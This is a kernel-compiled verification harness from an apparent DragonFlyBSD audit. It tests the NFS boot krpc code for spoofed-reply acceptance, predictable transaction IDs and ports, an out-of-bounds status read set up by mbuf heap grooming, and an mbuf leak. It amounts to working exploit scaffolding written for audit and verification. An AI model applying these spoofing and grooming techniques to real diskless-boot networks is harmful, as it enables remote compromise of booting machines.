⬢ DragonFlyBSD Kernel Audit
DF-3203 / dfrig13_krpc.c
← back to finding ↓ download raw
/*
 * dfrig13_krpc.c -- DF-3205 / DF-3203 / DF-3204 verification harness.
 *
 * VERBATIM INTERPOSITION RIG (kernel-compiled; see build.sh):
 *   This file #includes the UNMODIFIED production source
 *   /usr/src/sys/vfs/nfs/krpc_subr.c (sha256-gated by build.sh against
 *   the audited tree) after renaming -- and only renaming, via cpp --
 *   its three external symbols:
 *       krpc_portmap  krpc_call  xdr_string_encode
 *   Every line the findings cite is the production code, byte for byte:
 *   the static_xid = ~0xFF counter (:201,:282), the deterministic
 *   reserved-port sweep (:256-262), the unconnected socket + discarded
 *   reply source (:348-351,:432-435), the residual-length dead gate
 *   (:356-373), the pre-pullup rp_status field read (:391) and the
 *   PROGMISMATCH mbuf leak (:393-395,:437-441).
 *
 *   NO socket seams are interposed: the rig drives the REAL kernel UDP
 *   stack over lo0 with REAL mbufs.  The attacker is a REAL userland
 *   process (attacker.c) answering the requests from 127.0.0.2 or with
 *   predicted XIDs -- the same packets a malicious boot-network host
 *   would send during a diskless (root-on-NFS) boot, which is the only
 *   context where the production code runs (nfs_mountroot -> md_mount).
 *
 * sysctl interface:
 *   sysctl -w kern.dfrig13_arg=<arg>
 *   sysctl -w kern.dfrig13=<test>
 *     1  = DF-3205: wrong-origin (127.0.0.2) spoof ACCEPTANCE via real
 *          krpc_call; payload discriminator ATTACKER- vs SERVER-PAYLOAD
 *     4  = DF-3205: krpc_portmap end-to-end spoof -> attacker-chosen port
 *     5  = DF-3205: xid/port determinism dump (arg = #calls; read the
 *          attacker server stdout for the observed sequence)
 *     2  = DF-3203: short 16-byte reply -> OOB rp_status read; canary
 *          byte = arg (uniform fill; expected stale value 0xbbbbbbbb)
 *     22 = DF-3203: same, second canary byte = arg
 *     23 = DF-3203->DF-3204 coupling: groom32(0x00000002) -> stale read
 *          == RPC_PROGMISMATCH -> EBADRPC leak exit without the attacker
 *          ever sending a 24-byte PROGMISMATCH reply
 *     3  = DF-3204: PROGMISMATCH leak loop (arg = iterations; netstat -m
 *          deltas bracketed by run.sh)
 *     33 = control: same loop with honest successful replies
 *   sysctl -n kern.dfrig13_status      markers of the last test
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <sys/uio.h>
#include <sys/proc.h>
#include <sys/fcntl.h>
#include <netinet/in.h>

/* ---- interposition: call-site symbol renames ONLY -------------------- */
#define krpc_portmap	dfx_krpc_portmap
#define krpc_call	dfx_krpc_call
#define xdr_string_encode dfx_xdr_string_encode

#include "krpc_subr.c"		/* <-- VERBATIM PRODUCTION SOURCE */

/* ---------------- rig state ------------------------------------------- */
#define SRV_IP		0x7f000001u	/* 127.0.0.1 */
#define EVIL_IP		0x7f000002u	/* 127.0.0.2 */
#define SRV_PORT	7771

static int df_testno;
static int df_arg = 3;
static char df_status[2048];

static void
df_mark(const char *fmt, ...)
{
	__va_list ap;

	kprintf("dfrig13: ");
	__va_start(ap, fmt);
	kvprintf(fmt, ap);
	__va_end(ap);
	kprintf("\n");
	strlcat(df_status, " | ", sizeof(df_status));
	__va_start(ap, fmt);
	kvsnprintf(df_status + strlen(df_status),
		   sizeof(df_status) - strlen(df_status), fmt, ap);
	__va_end(ap);
}

static struct sockaddr_in
df_sin(u_int32_t ip, u_int16_t port)
{
	struct sockaddr_in sin;

	bzero(&sin, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = htonl(ip);
	sin.sin_port = htons(port);
	return sin;
}

/* printable remainder of the reply the caller got back */
static void
df_payload(struct mbuf *m, char *out, size_t outsz)
{
	size_t i = 0;

	out[0] = '\0';
	while (m != NULL && i + 1 < outsz) {
		u_char *p = mtod(m, u_char *);
		int j;

		for (j = 0; j < m->m_len && i + 1 < outsz; j++) {
			u_char c = p[j];

			out[i++] = (c >= 32 && c < 127) ? c : '.';
		}
		m = m->m_next;
	}
	out[i] = '\0';
}

/* ---------------- canary groom ---------------------------------------- */
/* Fill the data areas of freshly allocated mbufs (plain + pkthdr, the
 * two kinds the loopback TX/RX path allocates for small datagrams) with
 * a uniform byte, then free them all.  The next small UDP receive that
 * recycles one of these slots carries the canary in every byte past its
 * m_len -- which is exactly where krpc_call's pre-pullup rp_status read
 * at krpc_subr.c:391 lands for a 16-byte reply. */
static void
df_groom8(u_char byte, int nmb)
{
	struct mbuf *ms[1024];
	int i, lim = nmb > 1024 ? 1024 : nmb;

	for (i = 0; i < lim; i++) {
		ms[i] = m_get(M_WAITOK, MT_DATA);
		ms[i]->m_len = 0;
		memset(mtod(ms[i], caddr_t), byte, M_TRAILINGSPACE(ms[i]));
	}
	for (i = 0; i < lim; i++)
		m_free(ms[i]);
	for (i = 0; i < lim; i++) {
		ms[i] = m_gethdr(M_WAITOK, MT_DATA);
		ms[i]->m_len = 0;
		memset(mtod(ms[i], caddr_t), byte, M_TRAILINGSPACE(ms[i]));
	}
	for (i = 0; i < lim; i++)
		m_free(ms[i]);
}

/* 32-bit pattern variant (m_dat is >=4-aligned; m_data after the 28-byte
 * IP/UDP strip is 4-aligned too, so the OOB window reads one full word) */
static void
df_groom32(u_int32_t val, int nmb)
{
	struct mbuf *ms[1024];
	int i, w, lim = nmb > 1024 ? 1024 : nmb;

	for (i = 0; i < lim; i++) {
		u_int32_t *p;

		ms[i] = m_get(M_WAITOK, MT_DATA);
		ms[i]->m_len = 0;
		p = mtod(ms[i], u_int32_t *);
		for (w = 0; w < (int)(M_TRAILINGSPACE(ms[i]) / 4); w++)
			p[w] = val;
	}
	for (i = 0; i < lim; i++)
		m_free(ms[i]);
	for (i = 0; i < lim; i++) {
		u_int32_t *p;

		ms[i] = m_gethdr(M_WAITOK, MT_DATA);
		ms[i]->m_len = 0;
		p = mtod(ms[i], u_int32_t *);
		for (w = 0; w < (int)(M_TRAILINGSPACE(ms[i]) / 4); w++)
			p[w] = val;
	}
	for (i = 0; i < lim; i++)
		m_free(ms[i]);
}

/* ---------------- one krpc_call against the real UDP stack ------------ */
static int
df_one_call(struct sockaddr_in *sin, char *pl, size_t plsz)
{
	struct mbuf *m = NULL;
	int error;

	error = dfx_krpc_call(sin, 100003u, 3u, 1u, &m, NULL, curthread);
	if (m != NULL) {
		df_payload(m, pl, plsz);
		m_freem(m);
	} else {
		strlcpy(pl, "(none)", plsz);
	}
	return error;
}

/* ---------------- DF-3205 T1: wrong-origin acceptance ------------------ */
static void
df_test1(void)
{
	struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT);
	char pl[64];
	int error;

	error = df_one_call(&sin, pl, sizeof(pl));
	df_mark("DF3205 T1: krpc_call err=%d payload='%s' "
		"(ATTACKER-PAYLOAD => reply from 127.0.0.2 ACCEPTED; "
		"SERVER-PAYLOAD => fix rejected the wrong-origin spoof)",
		error, pl);
}

/* ---------------- DF-3205 T4: portmap end-to-end ---------------------- */
static void
df_test4(void)
{
	struct sockaddr_in sin = df_sin(SRV_IP, 0);	/* port set to 111 */
	u_int16_t port = 0;
	u_char *p;
	int error;

	error = dfx_krpc_portmap(&sin, 100003u, 3u, &port, curthread);
	p = (u_char *)&port;
	df_mark("DF3205 T4: krpc_portmap err=%d port bytes %02x %02x "
		"(baseline: ca fe = attacker-chosen; fixed: 77 77 = "
		"follow-up legit answer)", error, p[0], p[1]);
}

/* ---------------- DF-3205 T5: determinism dump ------------------------ */
static void
df_test5(int k)
{
	struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT);
	char pl[64];
	int i, error, ok = 0;

	for (i = 0; i < k; i++) {
		error = df_one_call(&sin, pl, sizeof(pl));
		if (error == 0)
			ok++;
	}
	df_mark("DF3205 T5: %d/%d sequential krpc_call ok; xid sequence "
		"+ client reserved ports are on the attacker server stdout "
		"(baseline expect 0xffffff00+n ascending, fixed expect "
		"random)", ok, k);
}

/* ---------------- DF-3203: short-reply OOB read ----------------------- */
static void
df_test2_core(int testno, u_char canary, int groom32val)
{
	struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT);
	char pl[64];
	int a, error;
	int32_t expect;

	if (groom32val >= 0)
		expect = (int32_t)groom32val;
	else
		expect = (int32_t)((u_int32_t)canary * 0x01010101u);

	for (a = 0; a < 3; a++) {
		if (groom32val >= 0)
			df_groom32((u_int32_t)groom32val, 512);
		else
			df_groom8(canary, 512);
		error = df_one_call(&sin, pl, sizeof(pl));
		if (error == 0)
			df_mark("DF3203 T%d attempt %d: groom done, call "
				"err=0 payload='%s' -> stale rp_status was "
				"!= 0 and != RPC_PROGMISMATCH: verbatim "
				"console line is: rpc denied, status=%d "
				"(check dmesg)", testno, a + 1, pl, expect);
		else if (error == ENOBUFS)
			df_mark("DF3203 T%d attempt %d: err=ENOBUFS -> "
				"stale rp_status read as 0 -> gotreply -> "
				"m_pullup(24) on the 16-byte reply failed "
				"(krpc_subr.c:417)", testno, a + 1);
		else if (error == EBADRPC)
			df_mark("DF3203 T%d attempt %d: err=EBADRPC -> stale "
				"rp_status read as RPC_PROGMISMATCH(2) -> "
				"leak exit (DF-3204 path taken on a stale "
				"value the attacker never sent)", testno,
				a + 1);
		else
			df_mark("DF3203 T%d attempt %d: err=%d payload='%s'",
				testno, a + 1, error, pl);
	}
}

/* ---------------- DF-3204 T3: PROGMISMATCH leak loop ------------------ */
static void
df_test3(int n, int honest)
{
	struct sockaddr_in sin = df_sin(SRV_IP, SRV_PORT);
	char pl[64];
	int i, error, bad = 0, ok = 0;

	for (i = 0; i < n; i++) {
		error = df_one_call(&sin, pl, sizeof(pl));
		if (honest) {
			if (error == 0)
				ok++;
		} else if (error == EBADRPC) {
			bad++;
		}
	}
	if (honest)
		df_mark("DF3204 T33 control: %d/%d honest replies ok -- "
			"netstat -m delta around this test is the no-leak "
			"baseline", ok, n);
	else
		df_mark("DF3204 T3: %d/%d calls returned EBADRPC with an "
			"in-bounds 24-byte PROGMISMATCH reply -- each one "
			"leaked the reply mbuf (netstat -m delta = +N "
			"mbufs that stay)", bad, n);
}

/* ---------------- sysctl dispatch -------------------------------------- */
static int
sysctl_df_test(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = df_testno;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return error;
	df_testno = t;
	df_status[0] = '\0';
	kprintf("dfrig13: === test %d (arg %d) begin ===\n", t, df_arg);
	switch (t) {
	case 1:
		df_test1();
		break;
	case 2:
		df_test2_core(2, (u_char)df_arg, -1);
		break;
	case 22:
		df_test2_core(22, (u_char)df_arg, -1);
		break;
	case 23:
		df_test2_core(23, 0, 2);	/* groom 0x00000002 */
		break;
	case 3:
		df_test3(df_arg, 0);
		break;
	case 33:
		df_test3(df_arg, 1);
		break;
	case 4:
		df_test4();
		break;
	case 5:
		df_test5(df_arg);
		break;
	default:
		strlcpy(df_status, "unknown test", sizeof(df_status));
		break;
	}
	kprintf("dfrig13: === test %d end ===\n", t);
	return 0;
}

SYSCTL_PROC(_kern, OID_AUTO, dfrig13, CTLTYPE_INT | CTLFLAG_RW,
    &df_testno, 0, sysctl_df_test, "I", "DF rig 13 (krpc) test selector");
SYSCTL_INT(_kern, OID_AUTO, dfrig13_arg, CTLFLAG_RW,
    &df_arg, 0, "DF rig 13 per-test argument");
SYSCTL_STRING(_kern, OID_AUTO, dfrig13_status, CTLFLAG_RD,
    df_status, 0, "DF rig 13 last-test status markers");